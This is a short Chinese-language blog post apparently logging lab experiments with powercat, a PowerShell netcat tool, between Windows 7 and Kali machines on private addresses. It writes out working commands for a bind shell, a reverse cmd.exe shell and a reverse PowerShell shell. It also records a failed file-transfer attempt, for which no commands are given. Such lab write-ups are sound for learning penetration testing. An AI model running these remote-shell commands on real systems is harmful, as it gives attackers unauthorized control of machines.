windows 反弹shell_windows版瑞士军刀powercat之牛刀小试

时间过的太快，又到深夜了，又要开始刷抖音或网抑云了。今天一位同事因为晚上没有加班，去拿20块钱的夜宵，被举报了。这种在领导面前打小报告的人，职场里面非常多。同事之间要多堤防着，保不准哪一天其中有人会出卖你。这篇文章做了4个小实验：

• powercat 正向shell（windows-linux）
• powercat 反向shell（windows-linux）
• powercat 反向powershell（windows-windows）
• powercat 反向获取文件（windows-windows）（失败了）

powercat 正向shell（windows-linux）

• 在win7上运行powercat，先弹shell后连接（属于正向shell）

powercat -l -p 23333 -e cmd.exe -v

• 在kali rolling上连接

nc 192.168.160.135 23333 -vv

powercat 反向shell（windows-linux）

• 在kali rolling上监听

nc -lp 23333 -vv

• 在win7上运行powercat，弹出一个cmd

powercat -c 192.168.160.140 -p 23333 -v -e cmd.exe

powercat 反向powershell（windows-windows）

• 在win7（ailx00）上运行powercat，监听23333端口（先听后弹，属于反向shell）

powercat -l -p 23333 -v

• 在win7上（（ailx01））运行powercat，反弹一个poweshell

powercat -c 192.168.160.135 -p 23333 -v -ep

powercat 反向获取文件（windows-windows）

• 然鹅，这个实验并没有成功，不知道哪出问题了
• 正着做，反着做，都不对，算了，就酱紫了
• 在win7（ailx01）上运行powercat，监听23333端口（先听后弹，属于反向shell）

• 在win7（ailx00）上运行powercat，发送文件

本篇完~